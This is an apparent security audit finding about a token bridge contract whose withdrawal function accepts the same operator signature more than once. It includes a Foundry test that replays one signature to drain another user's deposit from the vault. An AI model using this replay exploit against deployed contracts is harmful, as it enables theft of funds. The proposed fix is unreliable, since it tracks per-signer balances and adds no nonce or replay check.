Summary
Owner's permission for a user to become a signer allows them to execute the withdrawal function multiple times, posing a risk of emptying the vault, with no safeguards to prevent multiple withdrawals.
Vulnerability Details
Lack of safeguards in L1BossBridge.sol::withdrawTokensToL1 enables signed users to repeatedly execute the withdrawal function, potentially emptying the vault.
Impact
The impact is that a signed user can potentially deplete the vault by repeatedly executing the withdrawal function.
POC
considering attacker and user have 10e18 deposit amount each and they deposit it
copy paste the below test case
run forge test --match-test testAttackerCanWithdrawMultipleTimes -vvvv
Results:
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testAttackerCanWithdrawMultipleTimes() (gas: 142096)
Logs:
Vault Balance After Attacker and User deposits: 20000000000000000000
Vault Balance After Attacker withdrawal of his funds: 10000000000000000000
Vault Balance after attacker withdraw USER funds from vault: 0
User Balance at END 0
Attacker Balance at END 20000000000000000000
Test:
function testAttackerCanWithdrawMultipleTimes() public {
vm.startPrank(attacker);
uint256 depositAmount = 10e18;
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(attacker, userInL2, depositAmount);
vm.startPrank(user);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
console.log("Vault Balance After Attacker and User deposits: ", token.balanceOf(address(vault)));
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(attacker, 10e18, v, r, s);
console.log("Vault Balance After Attacker withdrawal of his funds: ", token.balanceOf(address(vault)));
tokenBridge.withdrawTokensToL1(attacker, 10e18, v, r, s);
console.log("Vault Balance after attacker withdraw USER funds from vault: ", token.balanceOf(address(vault)));
console.log("User Balance at END", token.balanceOf(address(user)));
console.log("Attacker Balance at END", token.balanceOf(address(attacker)));
assertEq(token.balanceOf(address(vault)), 0);
}
Tools Used
Recommendations
Fix: Implement a mechanism that tracks the amount already withdrawn by a signed user and limits subsequent withdrawals to the remaining balance in the vault for that user.
+mapping(address => uint256) public withdrawnBalances;
In withdraw function add these lines
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ require(signers[msg.sender], "Signer only");
+ uint256 availableBalance = vault.balanceOf(msg.sender) - withdrawnBalances[msg.sender];
+ require(amount <= availableBalance, "Exceeds available balance");
+ withdrawnBalances[msg.sender] += amount;
In this modified contract, the withdrawTokensToL1 function checks the available balance for the signed user and ensures that withdrawals do not exceed it. The withdrawnBalances mapping tracks the cumulative withdrawn amounts for each signer.